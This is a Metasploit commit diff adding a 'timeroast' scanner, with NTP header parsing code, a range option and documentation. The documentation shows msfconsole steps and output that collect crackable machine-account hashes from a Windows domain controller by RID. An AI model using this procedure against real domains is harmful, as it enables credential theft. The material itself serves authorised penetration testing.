Skip to content

Commit 51bbc76

Browse files
authored
Land rapid7#19748, Add the timeroast module
Add the timeroast module
2 parents e0f79d8 + a365d17 commit 51bbc76

File tree

9 files changed

+751
-5
lines changed

9 files changed

+751
-5
lines changed
Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
## Vulnerable Application
2+
Windows authenticates NTP requests by calculating the message digest using the NT hash followed by the first
3+
48 bytes of the NTP message (all fields preceding the key ID). An attacker can abuse this to recover hashes
4+
that can be cracked offline for machine and trust accounts. The attacker must know the accounts RID, but
5+
because RIDs are sequential, they can easily be enumerated.
6+
7+
## Verification Steps
8+
9+
1. Setup a Windows domain controller target
10+
1. Start msfconsole
11+
1. Use the `auxiliary/admin/dcerpc/samr_account` module to create a new computer account with the `ADD_COMPUTER` action
12+
1. Note the RID (the last part of the SID) and password of the new account
13+
1. Use the `auxiliary/scanner/ntp/timeroast` module
14+
1. Set the `RHOSTS` option to the target domain controller
15+
1. Set the `RIDS` option to the RID of the new account
16+
1. Run the module and see that a hash is collected, this has will show up in the output of the `creds` command if a
17+
database is connected
18+
19+
## Options
20+
21+
### RIDS
22+
The RIDs to enumerate (e.g. 1000-2000). Multiple values and ranges can be specified using a comma as a separator.
23+
24+
## Scenarios
25+
26+
### Windows 2019 x64 Domain Controller
27+
28+
```
29+
msf6 auxiliary(scanner/ntp/timeroast) > set RIDS 4200-4205
30+
RIDS => 4200-4205
31+
msf6 auxiliary(scanner/ntp/timeroast) > set RHOSTS 192.168.159.10
32+
RHOSTS => 192.168.159.10
33+
msf6 auxiliary(scanner/ntp/timeroast) > run
34+
[*] Checking RID: 4200
35+
[*] Checking RID: 4201
36+
[+] Hash for RID: 4201 - 4201:$sntp-ms$74e3c4ac73afe868119ff98613888d48$1c0100e900000000000a2c704c4f434ceb0aaf8ac9813bd40000000000000000eb0aea216d99a558eb0aea216d99e010
37+
[*] Checking RID: 4202
38+
[+] Hash for RID: 4202 - 4202:$sntp-ms$e106388a43f6bbd5365e3a6f2dee741d$1c0100e900000000000a2c704c4f434ceb0aaf8ac78c5c9a0000000000000000eb0aea21bb83de46eb0aea21bb8442f0
39+
[*] Checking RID: 4203
40+
[*] Checking RID: 4204
41+
[+] Hash for RID: 4204 - 4204:$sntp-ms$d0b1961cc3d57a1eaa40bfeeb9f30eb9$1c0100e900000000000a2c704c4f434ceb0aaf8ac653c2f50000000000000000eb0aea222a6c25c3eb0aea222a6c6a8c
42+
[*] Checking RID: 4205
43+
[*] Waiting on 3 pending responses...
44+
[*] Scanned 1 of 1 hosts (100% complete)
45+
[*] Auxiliary module execution completed
46+
msf6 auxiliary(scanner/ntp/timeroast) >
47+
```

lib/metasploit/framework/hashes.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -126,6 +126,8 @@ def self.identify_hash(hash)
126126
return 'vnc'
127127
when hash =~ /^\$pbkdf2-sha256\$[0-9]+\$[a-z0-9\/.]+\$[a-z0-9\/.]{43}$/i
128128
return 'pbkdf2-sha256'
129+
when hash =~ /^\$sntp-ms\$[\da-fA-F]{32}\$[\da-fA-F]{96}$/
130+
return 'timeroast'
129131
end
130132
''
131133
end

lib/msf/core/opt_int_range.rb

Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
# -*- coding: binary -*-
2+
3+
module Msf
4+
###
5+
#
6+
# Integer range option. A maximum value can be specified. Negative numbers are
7+
# not supported due to - being used for ranges. Numbers can be excluded by
8+
# using the ! prefix.
9+
#
10+
###
11+
class OptIntRange < OptBase
12+
attr_reader :maximum
13+
14+
def initialize(in_name, attrs = [],
15+
required: true, **kwargs)
16+
super
17+
@maximum = kwargs.fetch(:maximum, nil)
18+
end
19+
20+
def type
21+
'integer range'
22+
end
23+
24+
def normalize(value)
25+
value.to_s.gsub(/\s/, '')
26+
end
27+
28+
def valid?(value, check_empty: true)
29+
return false if check_empty && empty_required_value?(value)
30+
31+
if value.present?
32+
value = value.to_s.gsub(/\s/, '')
33+
return false unless value =~ /\A(!?\d+|!?\d+-\d+)(,(!?\d+|!?\d+-\d+))*\Z/
34+
end
35+
36+
super
37+
end
38+
39+
def self.parse(value)
40+
include = []
41+
exclude = []
42+
43+
value.split(',').each do |range_str|
44+
destination = range_str.start_with?('!') ? exclude : include
45+
46+
range_str.delete_prefix!('!')
47+
if range_str.include?('-')
48+
start_range, end_range = range_str.split('-').map(&:to_i)
49+
range = (start_range..end_range)
50+
else
51+
single_value = range_str.to_i
52+
range = (single_value..single_value)
53+
end
54+
55+
destination << range
56+
end
57+
58+
Enumerator.new do |yielder|
59+
include.each do |include_range|
60+
include_range.each do |num|
61+
break if @maximum && num > @maximum
62+
next if exclude.any? { |exclude_range| exclude_range.cover?(num) }
63+
64+
yielder << num
65+
end
66+
end
67+
end
68+
end
69+
end
70+
end

lib/msf/core/option_container.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -9,9 +9,11 @@ module Msf
99
autoload :OptAddress, 'msf/core/opt_address'
1010
autoload :OptAddressLocal, 'msf/core/opt_address_local'
1111
autoload :OptAddressRange, 'msf/core/opt_address_range'
12+
autoload :OptAddressRoot, 'msf/core/opt_address_routable'
1213
autoload :OptBool, 'msf/core/opt_bool'
1314
autoload :OptEnum, 'msf/core/opt_enum'
1415
autoload :OptInt, 'msf/core/opt_int'
16+
autoload :OptIntRange, 'msf/core/opt_int_range'
1517
autoload :OptFloat, 'msf/core/opt_float'
1618
autoload :OptPath, 'msf/core/opt_path'
1719
autoload :OptPort, 'msf/core/opt_port'

lib/rex/proto/ntp/constants.rb

Lines changed: 19 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -2,11 +2,25 @@
22
module Rex
33
module Proto
44
module NTP::Constants
5-
VERSIONS = (0..7).to_a
6-
MODES = (0..7).to_a
7-
MODE_6_OPERATIONS = (0..31).to_a
8-
MODE_7_IMPLEMENTATIONS = (0..255).to_a
9-
MODE_7_REQUEST_CODES = (0..255).to_a
5+
VERSIONS = (0..7).to_a
6+
MODES = (0..7).to_a
7+
MODE_6_OPERATIONS = (0..31).to_a
8+
MODE_7_IMPLEMENTATIONS = (0..255).to_a
9+
MODE_7_REQUEST_CODES = (0..255).to_a
10+
11+
module Mode
12+
# see: https://datatracker.ietf.org/doc/html/rfc5905#section-3
13+
SYMMETRIC_ACTIVE = 1
14+
SYMMETRIC_PASSIVE = 2
15+
CLIENT = 3
16+
SERVER = 4
17+
BROADCAST_SERVER = 5
18+
BROADCAST_CLIENT = 6
19+
20+
def self.name(value)
21+
constants.select { |c| c.upcase == c }.find { |c| const_get(c) == value }
22+
end
23+
end
1024
end
1125
end
1226
end

lib/rex/proto/ntp/header.rb

Lines changed: 117 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,117 @@
1+
# -*- coding: binary -*-
2+
3+
require 'bindata'
4+
require 'bigdecimal'
5+
require 'bigdecimal/util'
6+
7+
module Rex
8+
module Proto
9+
module NTP::Header
10+
11+
class NTPShort < BinData::Primitive
12+
# see: https://datatracker.ietf.org/doc/html/rfc5905#section-6
13+
endian :big
14+
15+
uint16 :seconds
16+
uint16 :fraction
17+
18+
def set(value)
19+
value = value.to_d
20+
seconds = value.floor
21+
self.seconds = seconds
22+
self.fraction = ((value - seconds) * BigDecimal(2**16)).round
23+
end
24+
25+
def get
26+
BigDecimal(seconds.value) + (BigDecimal(fraction.value) / BigDecimal(2**16))
27+
end
28+
end
29+
30+
class NTPTimestamp < BinData::Primitive
31+
UNIX_EPOCH = Time.utc(1900, 1, 1)
32+
# see: https://datatracker.ietf.org/doc/html/rfc5905#section-6
33+
endian :big
34+
35+
uint32 :seconds
36+
uint32 :fraction
37+
38+
def get
39+
return nil if seconds == 0 && fraction == 0
40+
41+
time_in_seconds = seconds + BigDecimal(fraction.to_s) / BigDecimal((2**32).to_s)
42+
(UNIX_EPOCH + time_in_seconds).utc
43+
end
44+
45+
def set(time)
46+
if time.nil?
47+
seconds = fraction = 0
48+
else
49+
seconds_since_epoch = time.to_r - UNIX_EPOCH.to_r
50+
seconds = seconds_since_epoch.to_i
51+
fraction = ((seconds_since_epoch - seconds) * (2**32)).to_i
52+
end
53+
54+
self.seconds = seconds
55+
self.fraction = fraction
56+
end
57+
end
58+
59+
class NTPExtension < BinData::Record
60+
endian :big
61+
62+
uint16 :ext_type
63+
uint16 :ext_length
64+
uint8_array :ext_value, initial_length: :ext_length
65+
end
66+
67+
# A unified structure capable of representing NTP versions 1-4
68+
class NTPHeader < BinData::Record
69+
# see: https://datatracker.ietf.org/doc/html/rfc958 (NTP v0 - unsupported)
70+
# see: https://datatracker.ietf.org/doc/html/rfc1059 (NTP v1)
71+
# see: https://datatracker.ietf.org/doc/html/rfc1119 (NTP v2)
72+
# see: https://datatracker.ietf.org/doc/html/rfc1305 (NTP v3)
73+
# see: https://datatracker.ietf.org/doc/html/rfc5905 (NTP v4)
74+
endian :big
75+
hide :bytes_remaining_0, :bytes_remaining_1
76+
77+
bit2 :leap_indicator
78+
bit3 :version_number, initial_value: 4, assert: -> { version_number.between?(1, 4) }
79+
bit3 :mode, onlyif: -> { version_number > 1 }
80+
resume_byte_alignment
81+
uint8 :stratum
82+
int8 :poll
83+
int8 :precision
84+
ntp_short :root_delay
85+
ntp_short :root_dispersion
86+
string :reference_id, length: 4, trim_padding: true
87+
ntp_timestamp :reference_timestamp
88+
ntp_timestamp :origin_timestamp
89+
ntp_timestamp :receive_timestamp
90+
ntp_timestamp :transmit_timestamp
91+
count_bytes_remaining :bytes_remaining_0
92+
buffer :extensions, length: -> { bytes_remaining_0 - 20 }, onlyif: :has_extensions? do
93+
array :extensions, type: :ntp_extension, read_until: :eof
94+
end
95+
count_bytes_remaining :bytes_remaining_1
96+
uint32 :key_identifier, onlyif: :has_key_identifier?
97+
uint8_array :message_digest, initial_length: OpenSSL::Digest::MD5.new.digest_length, onlyif: :has_message_digest?
98+
99+
private
100+
101+
def has_extensions?
102+
# -20 for the length of the key identifier and message digest which are required when extensions are present
103+
bytes_remaining_0 - 20 > 0 && version_number > 3
104+
end
105+
106+
def has_key_identifier?
107+
bytes_remaining_1 > 0 || !key_identifier.clear?
108+
end
109+
110+
def has_message_digest?
111+
bytes_remaining_1 > 4 || !message_digest.clear?
112+
end
113+
end
114+
115+
end
116+
end
117+
end

0 commit comments

Comments
 (0)